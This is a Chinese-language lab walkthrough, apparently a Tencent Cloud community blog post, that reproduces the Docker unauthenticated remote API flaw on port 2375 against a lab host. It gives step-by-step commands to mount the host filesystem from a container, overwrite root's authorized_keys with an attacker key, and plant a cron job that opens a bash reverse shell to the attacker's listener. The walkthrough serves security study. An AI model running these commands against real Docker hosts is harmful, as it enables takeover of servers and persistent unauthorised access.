前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞复现 - - -Docker未授权访问漏洞

漏洞复现 - - -Docker未授权访问漏洞

作者头像
干掉芹菜
发布2022-11-19 14:29:06
1.8K1
发布2022-11-19 14:29:06
举报
文章被收录于专栏:网络安全615网络安全615

目录

一.Docker简介

二.Docker漏洞产生原因

三.Docker未授权漏洞复现

1.docker实验环境

2.漏洞复现

第一步,信息收集

第二步,访问2375端口

发现page not found(页面没有找到)代表json代表2375有存在漏洞

 第三步,查看info目录

第四步,docker链接目标机器

​编辑 第五步.docker未授权写ssh公钥得到shell:

​编辑

第六步 ,ssh进行连接

四,docker未授权写定时任务获取shell

1.启动容器挂载到宿主机

2.kali开启监听

​编辑

 3.写入定时反弹shell

4.查看定时任务

 5.获得目标shell

一.Docker简介

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。(Sandbox又叫沙箱、沙盘,即是一个虚拟系统程序,允许你在沙盘环境中运行浏览器或其他程序,因此运行所产生的变化可以随后删除)

二.Docker漏洞产生原因

因为docker赋有远程的远程控制,docker开放了一个tcp端口2375,如果没有限制访问的话,攻击者就会通过这个端口来通过docker未授权来获取服务器权限。

三.Docker未授权漏洞复现

1.docker实验环境

目标机器: CentOS7+Docker、IP:10.1.1.200 攻击机器:Kali+Docker、IP:10.1.1.100 虚拟机实验环境链接:https://www.hetianlab.com/expc.do?ec=ECIDcc41-1aa8-4db8-8f69-7e834b8aa17b 来源:合天网安实验室

2.漏洞复现

第一步,信息收集

nmap -p- -sV -T4 10.1.1.200

第二步,访问2375端口

发现page not found(页面没有找到)代表json代表2375有存在漏洞

 第三步,查看info目录

info一般指的是安全目录,通过安全目录查看docker消息

获取image

10.1.1.200:2375/images/json

第四步,docker链接目标机器

通过docker -H参数连接目标docker docker -H tcp://10.1.1.200 ps -a         //列出所有容器

 docker -H tcp://10.1.1.200 images         //列出所有镜像

 docker -H tcp://10.1.1.200 start 3dc8d67b679       //开启一个停止的容器

连接一个已经启动的容器:四种方法 docker - H tcp://10.1.1.200 exec -it 3dc8d67b679 bash docker - H tcp://10.1.1.200 attach 3dc8d67b679(容器id) docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像的id)   //mnt为挂载点  ----entrypoint是入口 docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt sh    //创建一个新的容器busybox容器,讲宿主机的磁盘挂载到容器

 第五步.docker未授权写ssh公钥得到shell:

docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash  4c9608fd76ba //启动一个容器,挂载宿主机的/mnt目录

 ssh-keygen -t rsa        //生成一个ssh公钥

 cat /root/.ssh/id_rsa.pub       //查看生成的公钥

讲公钥写到目标/root/.ssh/authorized_keys文件中

公钥内容: echo "sshrsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2ireX9ybOimMcML2K4gDqC4q0Gx7tgg1K6l4gYUHKQ/00a6O4l5cENirdgWrL/5S6Z/7LkVrxeQQKSKUjvk/3v+o3fE8ArdNLUbyGIDhsabuHLpgs5bT+HTrIegvymhMbftPnwYiR2GRZ+vNdQuIJjwD+nTQGR8ANOLSKNH0uIb1ZgOMcJC2IHIqtueC2t/MhY6Ot8mZnPCijeRfZean4AELfa2EJ0KZy1n68s1IJHJJuAo6+Ckf81dB1gnRtsm/5jp5YW/AEv9GfcrYv6+22hlFN2MAt1JH+iRPup/9joofCG/eSGEZmhPfjcPguhTOt4GqjqPVlPpWPSsGzjYnWpRrjJpVEdcoli9MaobCja/YtO1iN2SgLUUeMSRf+ysNHuvd5oOIpJBMYiGjY2pwZ45zEuqvI2P+zjCxVCYNhzVKNv+7FIaDLYZQPSMn9bYf6j0zhrvDuPWUkI0iaDTlf0Oq1nwesWDhJRIybWMfTjV+UdDxNvz2GiMKo73GLvhs= root@kali" > /mnt/root/.ssh/authorized_keys 

>这个代表的意思为覆盖 所以在最后一句加入的意思是讲公钥内容覆盖到/mnt/root/.ssh/authorized_keys中

第六步 ,ssh进行连接

ssh root@10.1.1.200 -i id_rsa           

四,docker未授权写定时任务获取shell

1.启动容器挂载到宿主机

docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash  4c9608fd76ba

2.kali开启监听

nc -lvvp 1212      //监听1212端口

 3.写入定时反弹shell

echo "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.100/1212 0>&1" >  /mnt/var/spool/cron/root

4.查看定时任务

cat /mnt/var/spool/cron/root         //查看写入到/mnt/var/spool/cron/root的任务

 5.获得目标shell

输入whoami查看用户 

 实验结束!!!

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-08-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一.Docker简介
  • 二.Docker漏洞产生原因
  • 三.Docker未授权漏洞复现
    • 1.docker实验环境
      • 2.漏洞复现
        • 第一步,信息收集
        • 第二步,访问2375端口
        • 发现page not found(页面没有找到)代表json代表2375有存在漏洞
        •  第三步,查看info目录
        • 第四步,docker链接目标机器
        • 第六步 ,ssh进行连接
        • 1.启动容器挂载到宿主机
        • 2.kali开启监听
        •  3.写入定时反弹shell
        • 4.查看定时任务
        •  5.获得目标shell
    • 四,docker未授权写定时任务获取shell
    相关产品与服务
    容器镜像服务
    容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档